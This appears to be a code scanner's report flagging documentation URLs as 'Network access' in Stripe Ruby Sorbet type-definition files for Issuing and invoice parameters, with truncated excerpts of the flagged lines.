sig { params(_currency: String).returns(String) } def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217 - Network accessline 568
def currency=(_currency); end # Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://str - Network accessline 569
# Shipping rates defined in each available currency option. Each key must be a three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html) and a [supported currency](https://stripe.com/docs/currencies). - Network accessline 602
} def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structure - Network accessline 603
def fixed_amount=(_fixed_amount); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 604
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 614
sig { params(_tax_behavior: T.nilable(String)).returns(T.nilable(String)) } def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 615
def tax_behavior=(_tax_behavior); end # A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. sig { returns(T.nilable(String)) } - Network accessline 616
# A [tax code](https://docs.stripe.com/tax/tax-categories) ID. The Shipping tax code is `txcd_92010001`. - Network accessline 661
sig { params(_city: T.nilable(String)).returns(T.nilable(String)) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 662
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 663
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 681
sig { params(_postal_code: T.nilable(String)).returns(T.nilable(String)) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 682
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 683
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 741
} def account_tax_ids=(_account_tax_ids); end # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the St - Network accessline 742
def account_tax_ids=(_account_tax_ids); end # A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-A - Network accessline 743
# A fee in cents (or local equivalent) that will be applied to the invoice and transferred to the application owner's Stripe account. The request must be made with an OAuth key or the Stripe-Account header in order to take an application fe - Network accessline 746
sig { params(_application_fee_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def application_fee_amount=(_application_fee_amount); end # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invo - Network accessline 747
def application_fee_amount=(_application_fee_amount); end # Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. sig { returns(T.nila - Network accessline 748
# Controls whether Stripe performs [automatic collection](https://docs.stripe.com/invoicing/integration/automatic-advancement-collection) of the invoice. - Network accessline 838
} def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual - Network accessline 839
def issuer=(_issuer); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys - Network accessline 840
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 850
sig { params(_number: T.nilable(String)).returns(T.nilable(String)) } def number=(_number); end # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding - Network accessline 851
def number=(_number); end # The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with C - Network accessline 852
# The account (if any) for which the funds of the invoice payment are intended. If set, the invoice will be presented with the branding and support information of the specified account. See the [Invoices with Connect](https://docs.stripe.co
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_approve_params.rbi
- Network accessline 6
module Issuing class AuthorizationApproveParams < ::Stripe::RequestParams # If the authorization's `pending_request.is_amount_controllable` property is `true`, you may provide this value to control how much to hold for the authori - Network accessline 7
class AuthorizationApproveParams < ::Stripe::RequestParams # If the authorization's `pending_request.is_amount_controllable` property is `true`, you may provide this value to control how much to hold for the authorization. Must be pos - Network accessline 8
# If the authorization's `pending_request.is_amount_controllable` property is `true`, you may provide this value to control how much to hold for the authorization. Must be positive (use [`decline`](https://docs.stripe.com/api/issuing/author - Network accessline 16
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 17
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 18
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_capture_params.rbi
- Network accessline 235
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 236
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String - Network accessline 237
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 365
); end end # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.str - Network accessline 366
end # The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/curre - Network accessline 367
# The amount to capture from the authorization. If not provided, the full amount of the authorization will be captured. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_create_params.rbi
- Network accessline 160
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 161
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String)) } - Network accessline 162
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 197
end class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 198
class MerchantData < ::Stripe::RequestParams # A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. sig { - Network accessline 199
# A categorization of the seller's type of business. See our [merchant categories guide](https://docs.stripe.com/issuing/merchant-categories) for a list of possible values. - Network accessline 432
); end end # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 433
end # The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.n - Network accessline 434
# The total amount to attempt to authorize. This amount is in the provided currency, or defaults to the card's currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 437
sig { params(_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def amount=(_amount); end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https:/ - Network accessline 438
def amount=(_amount); end # Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(T.nilable(Issui - Network accessline 439
# Detailed breakdown of amount components. These amounts are denominated in `currency` and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 454
sig { params(_card: String).returns(String) } def card=(_card); end # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-curren - Network accessline 455
def card=(_card); end # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported c - Network accessline 456
# The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/ - Network accessline 483
} def fuel=(_fuel); end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. - Network accessline 484
def fuel=(_fuel); end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. sig { returns(T. - Network accessline 485
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization. - Network accessline 488
sig { params(_is_amount_controllable: T.nilable(T::Boolean)).returns(T.nilable(T::Boolean)) } def is_amount_controllable=(_is_amount_controllable); end # The total amount to attempt to authorize. This amount is in the provided m - Network accessline 489
def is_amount_controllable=(_is_amount_controllable); end # The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decima - Network accessline 490
# The total amount to attempt to authorize. This amount is in the provided merchant currency, and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 493
sig { params(_merchant_amount: T.nilable(Integer)).returns(T.nilable(Integer)) } def merchant_amount=(_merchant_amount); end # The currency of the authorization. If not provided, defaults to the currency of the card. Three-lette - Network accessline 494
def merchant_amount=(_merchant_amount); end # The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. - Network accessline 495
# The currency of the authorization. If not provided, defaults to the currency of the card. Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_decline_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 12
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 13
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_finalize_amount_params.rbi
- Network accessline 150
end class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 151
class Fuel < ::Stripe::RequestParams # [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. sig { returns(T.nilable(String)) } - Network accessline 152
# [Conexxus Payment System Product Code](https://www.conexxus.org/conexxus-payment-system-product-codes) identifying the primary fuel product purchased. - Network accessline 191
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The final authorization amount that will be captured by the merchant. This amount is in the authorization curr - Network accessline 192
def expand=(_expand); end # The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 193
# The final authorization amount that will be captured by the merchant. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal).
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_increment_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The amount to increment the authorization by. This amount is in the authorization currency and in the [smalles - Network accessline 12
def expand=(_expand); end # The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). sig { returns(Integer) - Network accessline 13
# The amount to increment the authorization by. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero-decimal). - Network accessline 16
sig { params(_increment_amount: Integer).returns(Integer) } def increment_amount=(_increment_amount); end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_autho - Network accessline 17
def increment_amount=(_increment_amount); end # If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization - Network accessline 18
# If set `true`, you may provide [amount](https://docs.stripe.com/api/issuing/authorizations/approve#approve_issuing_authorization-amount) to control how much to hold for the authorization.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_reverse_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be re - Network accessline 12
def expand=(_expand); end # The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https:/ - Network accessline 13
# The amount to reverse from the authorization. If not provided, the full amount of the authorization will be reversed. This amount is in the authorization currency and in the [smallest currency unit](https://docs.stripe.com/currencies#zero
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/authorization_update_params.rbi
- Network accessline 11
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 12
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 13
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/card_create_params.rbi
- Network accessline 22
sig { params(_city: String).returns(String) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 23
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 24
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 42
sig { params(_postal_code: String).returns(String) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 43
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 44
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 144
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies t - Network accessline 145
def amount=(_amount); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categorie - Network accessline 146
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 161
def initialize(amount: nil, categories: nil, interval: nil); end end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All - Network accessline 162
end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories - Network accessline 163
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 175
} def allowed_merchant_countries=(_allowed_merchant_countries); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. Al - Network accessline 176
def allowed_merchant_countries=(_allowed_merchant_countries); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other ca - Network accessline 177
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 209
); end end # The [Cardholder](https://docs.stripe.com/api#issuing_cardholder_object) object with which the card will be associated. - Network accessline 210
end # The [Cardholder](https://docs.stripe.com/api#issuing_cardholder_object) object with which the card will be associated. sig { returns(T.nilable(String)) } - Network accessline 211
# The [Cardholder](https://docs.stripe.com/api#issuing_cardholder_object) object with which the card will be associated. - Network accessline 239
sig { params(_financial_account: T.nilable(String)).returns(T.nilable(String)) } def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. - Network accessline 240
def financial_account=(_financial_account); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 241
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 280
} def shipping=(_shipping); end # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 281
def shipping=(_shipping); end # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. sig { returns(T.nilable(Issuing::CardCreatePar - Network accessline 282
# Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/card_update_params.rbi
- Network accessline 22
sig { params(_city: String).returns(String) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 23
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 24
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 42
sig { params(_postal_code: String).returns(String) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 43
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 44
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 144
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies t - Network accessline 145
def amount=(_amount); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categorie - Network accessline 146
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 161
def initialize(amount: nil, categories: nil, interval: nil); end end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All - Network accessline 162
end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories - Network accessline 163
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 175
} def allowed_merchant_countries=(_allowed_merchant_countries); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. Al - Network accessline 176
def allowed_merchant_countries=(_allowed_merchant_countries); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other ca - Network accessline 177
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 219
sig { params(_expand: T.nilable(T::Array[String])).returns(T.nilable(T::Array[String])) } def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be u - Network accessline 220
def expand=(_expand); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual key - Network accessline 221
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 245
} def shipping=(_shipping); end # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 246
def shipping=(_shipping); end # Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. sig { returns(T.nilable(Issuing::CardUpdatePar - Network accessline 247
# Rules that control spending for this card. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/cardholder_create_params.rbi
- Network accessline 13
sig { params(_city: String).returns(String) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 14
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 15
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 33
sig { params(_postal_code: String).returns(String) } def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 34
def postal_code=(_postal_code); end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 35
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 92
def initialize(date: nil, ip: nil, user_agent: nil); end end # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for c - Network accessline 93
end # Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. sig { - Network accessline 94
# Information about cardholder acceptance of Celtic [Authorized User Terms](https://stripe.com/docs/issuing/cards#accept-authorized-user-terms). Required for cards backed by a Celtic program. - Network accessline 127
class Verification < ::Stripe::RequestParams class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 128
class Document < ::Stripe::RequestParams # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(String)) } - Network accessline 129
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 132
sig { params(_back: T.nilable(String)).returns(T.nilable(String)) } def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_docum - Network accessline 133
def back=(_back); end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(String)) } - Network accessline 134
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 203
sig { params(_amount: Integer).returns(Integer) } def amount=(_amount); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies t - Network accessline 204
def amount=(_amount); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categorie - Network accessline 205
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) this limit applies to. Omitting this field will apply the limit to all categories. - Network accessline 220
def initialize(amount: nil, categories: nil, interval: nil); end end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All - Network accessline 221
end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories - Network accessline 222
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to allow. All other categories will be blocked. Cannot be set with `blocked_categories`. - Network accessline 234
} def allowed_merchant_countries=(_allowed_merchant_countries); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. Al - Network accessline 235
def allowed_merchant_countries=(_allowed_merchant_countries); end # Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other ca - Network accessline 236
# Array of strings containing [categories](https://docs.stripe.com/api#issuing_authorization_object-merchant_data-category) of authorizations to decline. All other categories will be allowed. Cannot be set with `allowed_categories`. - Network accessline 305
} def individual=(_individual); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format - Network accessline 306
def individual=(_individual); end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Indivi - Network accessline 307
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. Individual keys can be unset by posting an emp - Network accessline 317
sig { params(_name: String).returns(String) } def name=(_name); end # The cardholder's phone number. This will be transformed to [E.164](https://en.wikipedia.org/wiki/E.164) if it is not provided in that format already. This is - Network accessline 318
def name=(_name); end # The cardholder's phone number. This will be transformed to [E.164](https://en.wikipedia.org/wiki/E.164) if it is not provided in that format already. This is required for all cardholders who will be creating EU - Network accessline 319
# The cardholder's phone number. This will be transformed to [E.164](https://en.wikipedia.org/wiki/E.164) if it is not provided in that format already. This is required for all cardholders who will be creating EU cards. See the [3D Secure d - Network accessline 323
def phone_number=(_phone_number); end # The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.str - Network accessline 324
# The cardholder’s preferred locales (languages), ordered by preference. Locales can be `de`, `en`, `es`, `fr`, or `it`. # This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time pass - Network accessline 325
# This changes the language of the [3D Secure flow](https://docs.stripe.com/issuing/3d-secure) and one-time password messages sent to the cardholder. - Network accessline 330
} def preferred_locales=(_preferred_locales); end # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 331
def preferred_locales=(_preferred_locales); end # Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. sig { retur - Network accessline 332
# Rules that control spending across this cardholder's cards. Refer to our [documentation](https://docs.stripe.com/issuing/controls/spending-controls) for more details. - Network accessline 342
sig { params(_status: T.nilable(String)).returns(T.nilable(String)) } def status=(_status); end # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more - Network accessline 343
def status=(_status); end # One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details. sig { returns(T.nilable(String)) } - Network accessline 344
# One of `individual` or `company`. See [Choose a cardholder type](https://docs.stripe.com/issuing/other/choose-cardholder) for more details.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/params/issuing/cardholder_update_params.rbi
- Network accessline 13
sig { params(_city: String).returns(String) } def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 14
def city=(_city); end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(String) } - Network accessline 15
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 33
